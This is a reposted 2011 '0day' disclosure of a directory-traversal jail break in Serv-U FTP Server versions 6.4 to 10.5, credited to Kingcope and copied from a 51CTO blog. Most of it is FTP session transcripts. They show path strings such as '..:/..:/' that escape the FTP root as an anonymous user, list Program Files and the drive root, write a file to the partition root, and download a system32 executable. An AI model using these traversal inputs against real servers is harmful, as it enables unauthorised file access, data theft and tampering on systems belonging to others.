Serv-U FTP Jail Break

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CONFIDENTIAL SOURCE MATERIALS!

 

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Serv-U FTP Server Jail Break 0day

Discovered By Kingcope

Year 2011

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Affected:

220 Serv-U FTP Server v7.3 ready...

220 Serv-U FTP Server v7.1 ready...

220 Serv-U FTP Server v6.4 ready...

220 Serv-U FTP Server v8.2 ready...

220 Serv-U FTP Server v10.5 ready...

 

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C:\Users\kingcope\Desktop>ftp 192.168.133.134

Verbindung mit 192.168.133.134 wurde hergestellt.

220 Serv-U FTP Server v6.4 for WinSock ready...

Benutzer (192.168.133.134:(none)): ftp (anonymous user :>)

331 User name okay, please send complete E-mail address as password.

Kennwort:

230 User logged in, proceed.

ftp> cd "/..:/..:/..:/..:/program files"

250 Directory changed to /LocalUser/LocalUser/LocalUser/LocalUser/program files

ftp> ls -la

200 PORT Command successful.

150 Opening ASCII mode data connection for /bin/ls.

dr--r--r--   1 user     group           0 Nov 12 21:48 .

dr--r--r--   1 user     group           0 Nov 12 21:48 ..

drw-rw-rw-   1 user     group           0 Feb 14  2011 Apache Software Foundatio

n

drw-rw-rw-   1 user     group           0 Feb  5  2011 ComPlus Applications

drw-rw-rw-   1 user     group           0 Jul 11 01:06 Common Files

drw-rw-rw-   1 user     group           0 Jul  8 16:57 CoreFTPServer

drw-rw-rw-   1 user     group           0 Jul 11 01:06 IIS Resources

d---------   1 user     group           0 Jul  8 16:12 InstallShield

Installation Information

drw-rw-rw-   1 user     group           0 Jul 29 15:07 Internet Explorer

drw-rw-rw-   1 user     group           0 Jul  8 16:12 Ipswitch

drw-rw-rw-   1 user     group           0 Feb 12  2011 Java

drw-rw-rw-   1 user     group           0 Jul 26 13:19 NetMeeting

drw-rw-rw-   1 user     group           0 Jul 29 14:39 Outlook Express

drw-rw-rw-   1 user     group           0 Jul  8 15:39 PostgreSQL

drw-rw-rw-   1 user     group           0 Nov 12 21:48 RhinoSoft.com

drw-rw-rw-   1 user     group           0 Feb 12  2011 Sun

d---------   1 user     group           0 Jul 29 15:13 Uninstall Information

drw-rw-rw-   1 user     group           0 Feb  5  2011 VMware

drw-rw-rw-   1 user     group           0 Jul  8 15:34 WinRAR

drw-rw-rw-   1 user     group           0 Jul 26 13:30 Windows Media Player

drw-rw-rw-   1 user     group           0 Feb  5  2011 Windows NT

d---------   1 user     group           0 Feb  5  2011 WindowsUpdate

226 Transfer complete.

FTP: 1795 Bytes empfangen in 0,00Sekunden 448,75KB/s

ftp>

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with write perms:

ftp> put foo.txt ..:/..:/..:/foobar <<-- writes foo into root of partition

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and as anonymous ftp:

ftp> get ..:/..:/..:/..:/windows/system32/calc.exe yes

200 PORT Command successful.

150 Opening ASCII mode data connection for calc.exe (115712 Bytes).

226 Transfer complete.

FTP: 115712 Bytes empfangen in 0,04Sekunden 2571,38KB/s

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This works to!!! :

 

220 Serv-U FTP Server v7.3 ready...

Benutzer (xx.xx.xx.xx:(none)): ftp

331 User name okay, please send complete E-mail address as password.

Kennwort:

230 User logged in, proceed.

ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*"

200 PORT Command successful.

150 Opening ASCII mode data connection for /bin/ls.

.

..

AUTOEXEC.BAT

boot.ini

bootfont.bin

bsmain_runtime.log

CONFIG.SYS

Documents and Settings

FPSE_search

Inetpub

IO.SYS

log

MSDOS.SYS

msizap.exe

MSOCache

mysql

NTDETECT.COM

ntldr

Program Files

RavBin

RECYCLER

Replay.log

rising.ini

System Volume Information

TDDOWNLOAD

WCH.CN

WINDOWS

wmpub

226 Transfer complete. 317 bytes transferred. 19.35 KB/sec.

FTP: 317 Bytes empfangen in 0,01Sekunden 21,13KB/s

 

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Sometimes you need to give it the path:

 

ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\"

ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*"

200 PORT Command successful.

150 Opening ASCII mode data connection for /bin/ls.

.

..

360

Adobe

ASP.NET

CCProxy

CE Remote Tools

cmak

Common Files

ComPlus Applications

D-Tools

FFTPServer

HTML Help Workshop

IISServer

InstallShield Installation Information

Intel

Internet Explorer

Java

JavaSoft

K-Lite Codec Pack

Microsoft ActiveSync

Microsoft Analysis Services

Microsoft Device Emulator

Microsoft MapPoint Web Service Samples

Microsoft MapPoint Web Service SDK, Version 4.0

Microsoft Office

Microsoft Office Servers

Microsoft Silverlight

Microsoft SQL Server

Microsoft Visual SourceSafe

Microsoft Visual Studio 8

Microsoft.NET

MSBuild

MSXML 6.0

NetMeeting

Outlook Express

PortMap1.61

Reference Assemblies

Rising

SQLXML 4.0

SQLyog Enterprise

STS2Setup_2052

Symantec

Thunder Network

TSingVision

Uninstall Information

Windows Media Player

Windows NT

WindowsUpdate

WinRAR

226 Transfer complete. 835 bytes transferred. 50.96 KB/sec.

FTP: 835 Bytes empfangen in 0,01Sekunden 64,23KB/s

ftp>

 

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/730715，如需转载请自行联系原作者